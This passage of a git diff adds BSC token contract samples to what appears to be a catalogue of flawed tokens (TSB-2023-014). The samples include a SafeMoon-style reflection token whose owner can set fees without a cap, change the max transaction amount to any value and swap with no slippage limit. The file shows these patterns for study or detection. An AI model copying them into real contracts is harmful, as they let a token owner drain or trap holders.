(bytes32); + function PERMIT_TYPEHASH() external pure returns (bytes32); + function nonces(address owner) external view returns (uint); + + function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; + + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); + event Swap( + address indexed sender, + uint amount0In, + uint amount1In, + uint amount0Out, + uint amount1Out, + address indexed to + ); + event Sync(uint112 reserve0, uint112 reserve1); + + function MINIMUM_LIQUIDITY() external pure returns (uint); + function factory() external view returns (address); + function token0() external view returns (address); + function token1() external view returns (address); + function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); + function price0CumulativeLast() external view returns (uint); + function price1CumulativeLast() external view returns (uint); + function kLast() external view returns (uint); + + function mint(address to) external returns (uint liquidity); + function burn(address to) external returns (uint amount0, uint amount1); + function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; + function skim(address to) external; + function sync() external; + + function initialize(address, address) external; +} + +// pragma solidity >=0.6.2; + +interface IUniswapV2Router01 { + function factory() external pure returns (address); + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB, uint liquidity); + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + function removeLiquidityETH( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountToken, uint amountETH); + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountA, uint amountB); + function removeLiquidityETHWithPermit( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountToken, uint amountETH); + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + + function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); + function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); + function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); + function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); +} + + + +// pragma solidity >=0.6.2; + +interface IUniswapV2Router02 is IUniswapV2Router01 { + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountETH); + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountETH); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + + +contract SuperHeavyBooster is Context, IERC20, Ownable { + using SafeMath for uint256; + using Address for address; + + mapping (address => uint256) private _rOwned; + mapping (address => uint256) private _tOwned; + mapping (address => mapping (address => uint256)) private _allowances; + + mapping (address => bool) private _isExcludedFromFee; + + mapping (address => bool) private _isExcluded; + address[] private _excluded; + + uint256 private constant MAX = ~uint256(0); + uint256 private _tTotal = 1000000000 * 10**6 * 10**9; + uint256 private _rTotal = (MAX - (MAX % _tTotal)); + uint256 private _tFeeTotal; + + string private _name = "SuperHeavyBooster"; + string private _symbol = "SHB"; + uint8 private _decimals = 9; + + uint256 public _taxFee = 4; + uint256 private _previousTaxFee = _taxFee; + + uint256 public _liquidityFee = 4; + uint256 private _previousLiquidityFee = _liquidityFee; + + IUniswapV2Router02 public immutable uniswapV2Router; + address public immutable uniswapV2Pair; + + bool inSwapAndLiquify; + bool public swapAndLiquifyEnabled = false; + + uint256 public _maxTxAmount = 10000000 * 10**6 * 10**9; + uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; + + event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); + event SwapAndLiquifyEnabledUpdated(bool enabled); + event SwapAndLiquify( + uint256 tokensSwapped, + uint256 ethReceived, + uint256 tokensIntoLiqudity + ); + + modifier lockTheSwap { + inSwapAndLiquify = true; + _; + inSwapAndLiquify = false; + } + + constructor () public { + _rOwned[_msgSender()] = _rTotal; + + IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); + // Create a uniswap pair for this new token + uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) + .createPair(address(this), _uniswapV2Router.WETH()); + + // set the rest of the contract variables + uniswapV2Router = _uniswapV2Router; + + //exclude owner and this contract from fee + _isExcludedFromFee[owner()] = true; + _isExcludedFromFee[address(this)] = true; + + emit Transfer(address(0), _msgSender(), _tTotal); + } + + function name() public view returns (string memory) { + return _name; + } + + function symbol() public view returns (string memory) { + return _symbol; + } + + function decimals() public view returns (uint8) { + return _decimals; + } + + function totalSupply() public view override returns (uint256) { + return _tTotal; + } + + function balanceOf(address account) public view override returns (uint256) { + if (_isExcluded[account]) return _tOwned[account]; + return tokenFromReflection(_rOwned[account]); + } + + function transfer(address recipient, uint256 amount) public override returns (bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + function allowance(address owner, address spender) public view override returns (uint256) { + return _allowances[owner][spender]; + } + + function approve(address spender, uint256 amount) public override returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { + _transfer(sender, recipient, amount); + _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); + return true; + } + + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); + return true; + } + + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); + return true; + } + + function isExcludedFromReward(address account) public view returns (bool) { + return _isExcluded[account]; + } + + function totalFees() public view returns (uint256) { + return _tFeeTotal; + } + + function deliver(uint256 tAmount) public { + address sender = _msgSender(); + require(!_isExcluded[sender], "Excluded addresses cannot call this function"); + (uint256 rAmount,,,,,) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rTotal = _rTotal.sub(rAmount); + _tFeeTotal = _tFeeTotal.add(tAmount); + } + + function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { + require(tAmount <= _tTotal, "Amount must be less than supply"); + if (!deductTransferFee) { + (uint256 rAmount,,,,,) = _getValues(tAmount); + return rAmount; + } else { + (,uint256 rTransferAmount,,,,) = _getValues(tAmount); + return rTransferAmount; + } + } + + function tokenFromReflection(uint256 rAmount) public view returns(uint256) { + require(rAmount <= _rTotal, "Amount must be less than total reflections"); + uint256 currentRate = _getRate(); + return rAmount.div(currentRate); + } + + function excludeFromReward(address account) public onlyOwner() { + // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); + require(!_isExcluded[account], "Account is already excluded"); + if(_rOwned[account] > 0) { + _tOwned[account] = tokenFromReflection(_rOwned[account]); + } + _isExcluded[account] = true; + _excluded.push(account); + } + + function includeInReward(address account) external onlyOwner() { + require(_isExcluded[account], "Account is already excluded"); + for (uint256 i = 0; i < _excluded.length; i++) { + if (_excluded[i] == account) { + _excluded[i] = _excluded[_excluded.length - 1]; + _tOwned[account] = 0; + _isExcluded[account] = false; + _excluded.pop(); + break; + } + } + } + function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); + _tOwned[sender] = _tOwned[sender].sub(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function excludeFromFee(address account) public onlyOwner { + _isExcludedFromFee[account] = true; + } + + function includeInFee(address account) public onlyOwner { + _isExcludedFromFee[account] = false; + } + + function setTaxFeePercent(uint256 taxFee) external onlyOwner() { + _taxFee = taxFee; + } + + function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { + _liquidityFee = liquidityFee; + } + + function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { + _maxTxAmount = _tTotal.mul(maxTxPercent).div( + 10**2 + ); + } + + function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { + swapAndLiquifyEnabled = _enabled; + emit SwapAndLiquifyEnabledUpdated(_enabled); + } + + //to recieve ETH from uniswapV2Router when swaping + receive() external payable {} + + function _reflectFee(uint256 rFee, uint256 tFee) private { + _rTotal = _rTotal.sub(rFee); + _tFeeTotal = _tFeeTotal.add(tFee); + } + + function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { + (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); + return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); + } + + function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { + uint256 tFee = calculateTaxFee(tAmount); + uint256 tLiquidity = calculateLiquidityFee(tAmount); + uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); + return (tTransferAmount, tFee, tLiquidity); + } + + function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { + uint256 rAmount = tAmount.mul(currentRate); + uint256 rFee = tFee.mul(currentRate); + uint256 rLiquidity = tLiquidity.mul(currentRate); + uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); + return (rAmount, rTransferAmount, rFee); + } + + function _getRate() private view returns(uint256) { + (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); + return rSupply.div(tSupply); + } + + function _getCurrentSupply() private view returns(uint256, uint256) { + uint256 rSupply = _rTotal; + uint256 tSupply = _tTotal; + for (uint256 i = 0; i < _excluded.length; i++) { + if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); + rSupply = rSupply.sub(_rOwned[_excluded[i]]); + tSupply = tSupply.sub(_tOwned[_excluded[i]]); + } + if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); + return (rSupply, tSupply); + } + + function _takeLiquidity(uint256 tLiquidity) private { + uint256 currentRate = _getRate(); + uint256 rLiquidity = tLiquidity.mul(currentRate); + _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); + if(_isExcluded[address(this)]) + _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); + } + + function calculateTaxFee(uint256 _amount) private view returns (uint256) { + return _amount.mul(_taxFee).div( + 10**2 + ); + } + + function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { + return _amount.mul(_liquidityFee).div( + 10**2 + ); + } + + function removeAllFee() private { + if(_taxFee == 0 && _liquidityFee == 0) return; + + _previousTaxFee = _taxFee; + _previousLiquidityFee = _liquidityFee; + + _taxFee = 0; + _liquidityFee = 0; + } + + function restoreAllFee() private { + _taxFee = _previousTaxFee; + _liquidityFee = _previousLiquidityFee; + } + + function isExcludedFromFee(address account) public view returns(bool) { + return _isExcludedFromFee[account]; + } + + function _approve(address owner, address spender, uint256 amount) private { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function _transfer( + address from, + address to, + uint256 amount + ) private { + require(from != address(0), "ERC20: transfer from the zero address"); + require(to != address(0), "ERC20: transfer to the zero address"); + require(amount > 0, "Transfer amount must be greater than zero"); + if(from != owner() && to != owner()) + require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); + + // is the token balance of this contract address over the min number of + // tokens that we need to initiate a swap + liquidity lock? + // also, don't get caught in a circular liquidity event. + // also, don't swap & liquify if sender is uniswap pair. + uint256 contractTokenBalance = balanceOf(address(this)); + + if(contractTokenBalance >= _maxTxAmount) + { + contractTokenBalance = _maxTxAmount; + } + + bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; + if ( + overMinTokenBalance && + !inSwapAndLiquify && + from != uniswapV2Pair && + swapAndLiquifyEnabled + ) { + contractTokenBalance = numTokensSellToAddToLiquidity; + //add liquidity + swapAndLiquify(contractTokenBalance); + } + + //indicates if fee should be deducted from transfer + bool takeFee = true; + + //if any account belongs to _isExcludedFromFee account then remove the fee + if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ + takeFee = false; + } + + //transfer amount, it will take tax, burn, liquidity fee + _tokenTransfer(from,to,amount,takeFee); + } + + function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { + // split the contract balance into halves + uint256 half = contractTokenBalance.div(2); + uint256 otherHalf = contractTokenBalance.sub(half); + + // capture the contract's current ETH balance. + // this is so that we can capture exactly the amount of ETH that the + // swap creates, and not make the liquidity event include any ETH that + // has been manually sent to the contract + uint256 initialBalance = address(this).balance; + + // swap tokens for ETH + swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered + + // how much ETH did we just swap into? + uint256 newBalance = address(this).balance.sub(initialBalance); + + // add liquidity to uniswap + addLiquidity(otherHalf, newBalance); + + emit SwapAndLiquify(half, newBalance, otherHalf); + } + + function swapTokensForEth(uint256 tokenAmount) private { + // generate the uniswap pair path of token -> weth + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = uniswapV2Router.WETH(); + + _approve(address(this), address(uniswapV2Router), tokenAmount); + + // make the swap + uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( + tokenAmount, + 0, // accept any amount of ETH + path, + address(this), + block.timestamp + ); + } + + function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { + // approve token transfer to cover all possible scenarios + _approve(address(this), address(uniswapV2Router), tokenAmount); + + // add the liquidity + uniswapV2Router.addLiquidityETH{value: ethAmount}( + address(this), + tokenAmount, + 0, // slippage is unavoidable + 0, // slippage is unavoidable + owner(), + block.timestamp + ); + } + + //this method is responsible for taking all fee, if takeFee is true + function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { + if(!takeFee) + removeAllFee(); + + if (_isExcluded[sender] && !_isExcluded[recipient]) { + _transferFromExcluded(sender, recipient, amount); + } else if (!_isExcluded[sender] && _isExcluded[recipient]) { + _transferToExcluded(sender, recipient, amount); + } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { + _transferStandard(sender, recipient, amount); + } else if (_isExcluded[sender] && _isExcluded[recipient]) { + _transferBothExcluded(sender, recipient, amount); + } else { + _transferStandard(sender, recipient, amount); + } + + if(!takeFee) + restoreAllFee(); + } + + function _transferStandard(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); + _tOwned[sender] = _tOwned[sender].sub(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } +} \ No newline at end of file diff --git a/src/TSB-2023-014/metadata.json b/src/TSB-2023-014/metadata.json index bc13667..996c347 100644 --- a/src/TSB-2023-014/metadata.json +++ b/src/TSB-2023-014/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-014/samples/04.sol b/src/TSB-2023-014/samples/04.sol new file mode 100644 index 0000000..939e59d --- /dev/null +++ b/src/TSB-2023-014/samples/04.sol @@ -0,0 +1,1174 @@ +/** + *Submitted for verification at BscScan.com on 2021-05-10 +*/ + +/** + *Submitted for verification at BscScan.com on 2021-05-09 +*/ + +/** + *Submitted for verification at BscScan.com on 2021-04-26 +*/ + +/** + *Submitted for verification at BscScan.com on 2021-04-02 +*/ + +/** + + #TETRAMOON + + #LIQ+#RFI+#SHIB+#DOGE = #TETRAMOON + + #TETRAMOON features: + 5% fee auto add to the liquidity pool to locked forever when selling + 5% fee auto distribute to all holders + I created a black hole so #TETRAMOON token will deflate itself in supply with every transaction + 50% Supply is burned at start. + + + */ + +pragma solidity ^0.6.12; +// SPDX-License-Identifier: Unlicensed +interface IERC20 { + + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Moves `amount` tokens from the caller's account to `recipient`. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transfer(address recipient, uint256 amount) external returns (bool); + + /** + * @dev Returns the remaining number of tokens that `spender` will be + * allowed to spend on behalf of `owner` through {transferFrom}. This is + * zero by default. + * + * This value changes when {approve} or {transferFrom} are called. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * IMPORTANT: Beware that changing an allowance with this method brings the risk + * that someone may use both the old and the new allowance by unfortunate + * transaction ordering. One possible solution to mitigate this race + * condition is to first reduce the spender's allowance to 0 and set the + * desired value afterwards: + * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Moves `amount` tokens from `sender` to `recipient` using the + * allowance mechanism. `amount` is then deducted from the caller's + * allowance. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + /** + * @dev Emitted when `value` tokens are moved from one account (`from`) to + * another (`to`). + * + * Note that `value` may be zero. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Emitted when the allowance of a `spender` for an `owner` is set by + * a call to {approve}. `value` is the new allowance. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +/** + * @dev Wrappers over Solidity's arithmetic operations with added overflow + * checks. + * + * Arithmetic operations in Solidity wrap on overflow. This can easily result + * in bugs, because programmers usually assume that an overflow raises an + * error, which is the standard behavior in high level programming languages. + * `SafeMath` restores this intuition by reverting the transaction when an + * operation overflows. + * + * Using this library instead of the unchecked operations eliminates an entire + * class of bugs, so it's recommended to use it always. + */ + +library SafeMath { + /** + * @dev Returns the addition of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `+` operator. + * + * Requirements: + * + * - Addition cannot overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting with custom message on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + + /** + * @dev Returns the multiplication of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `*` operator. + * + * Requirements: + * + * - Multiplication cannot overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + // Gas optimization: this is cheaper than requiring 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts with custom message on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + return mod(a, b, "SafeMath: modulo by zero"); + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts with custom message when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b != 0, errorMessage); + return a % b; + } +} + +abstract contract Context { + function _msgSender() internal view virtual returns (address payable) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes memory) { + this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + + +/** + * @dev Collection of functions related to the address type + */ +library Address { + /** + * @dev Returns true if `account` is a contract. + * + * [IMPORTANT] + * ==== + * It is unsafe to assume that an address for which this function returns + * false is an externally-owned account (EOA) and not a contract. + * + * Among others, `isContract` will return false for the following + * types of addresses: + * + * - an externally-owned account + * - a contract in construction + * - an address where a contract will be created + * - an address where a contract lived, but was destroyed + * ==== + */ + function isContract(address account) internal view returns (bool) { + // According to EIP-1052, 0x0 is the value returned for not-yet created accounts + // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned + // for accounts without code, i.e. `keccak256('')` + bytes32 codehash; + bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; + // solhint-disable-next-line no-inline-assembly + assembly { codehash := extcodehash(account) } + return (codehash != accountHash && codehash != 0x0); + } + + /** + * @dev Replacement for Solidity's `transfer`: sends `amount` wei to + * `recipient`, forwarding all available gas and reverting on errors. + * + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost + * of certain opcodes, possibly making contracts go over the 2300 gas limit + * imposed by `transfer`, making them unable to receive funds via + * `transfer`. {sendValue} removes this limitation. + * + * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. + * + * IMPORTANT: because control is transferred to `recipient`, care must be + * taken to not create reentrancy vulnerabilities. Consider using + * {ReentrancyGuard} or the + * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. + */ + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + + // solhint-disable-next-line avoid-low-level-calls, avoid-call-value + (bool success, ) = recipient.call{ value: amount }(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + /** + * @dev Performs a Solidity function call using a low level `call`. A + * plain`call` is an unsafe replacement for a function call: use this + * function instead. + * + * If `target` reverts with a revert reason, it is bubbled up by this + * function (like regular Solidity function calls). + * + * Returns the raw returned data. To convert to the expected return value, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requirements: + * + * - `target` must be a contract. + * - calling `target` with `data` must not revert. + * + * _Available since v3.1._ + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with + * `errorMessage` as a fallback revert reason when `target` reverts. + * + * _Available since v3.1._ + */ + function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + return _functionCallWithValue(target, data, 0, errorMessage); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], + * but also transferring `value` wei to `target`. + * + * Requirements: + * + * - the calling contract must have an ETH balance of at least `value`. + * - the called Solidity function must be `payable`. + * + * _Available since v3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + /** + * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but + * with `errorMessage` as a fallback revert reason when `target` reverts. + * + * _Available since v3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + return _functionCallWithValue(target, data, value, errorMessage); + } + + function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { + require(isContract(target), "Address: call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); + if (success) { + return returndata; + } else { + // Look for revert reason and bubble it up if present + if (returndata.length > 0) { + // The easiest way to bubble the revert reason is using memory via assembly + + // solhint-disable-next-line no-inline-assembly + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} + +/** + * @dev Contract module which provides a basic access control mechanism, where + * there is an account (an owner) that can be granted exclusive access to + * specific functions. + * + * By default, the owner account will be the one that deploys the contract. This + * can later be changed with {transferOwnership}. + * + * This module is used through inheritance. It will make available the modifier + * `onlyOwner`, which can be applied to your functions to restrict their use to + * the owner. + */ +contract Ownable is Context { + address private _owner; + address private _previousOwner; + uint256 private _lockTime; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + /** + * @dev Initializes the contract setting the deployer as the initial owner. + */ + constructor () internal { + address msgSender = _msgSender(); + _owner = msgSender; + emit OwnershipTransferred(address(0), msgSender); + } + + /** + * @dev Returns the address of the current owner. + */ + function owner() public view returns (address) { + return _owner; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(_owner == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + /** + * @dev Leaves the contract without owner. It will not be possible to call + * `onlyOwner` functions anymore. Can only be called by the current owner. + * + * NOTE: 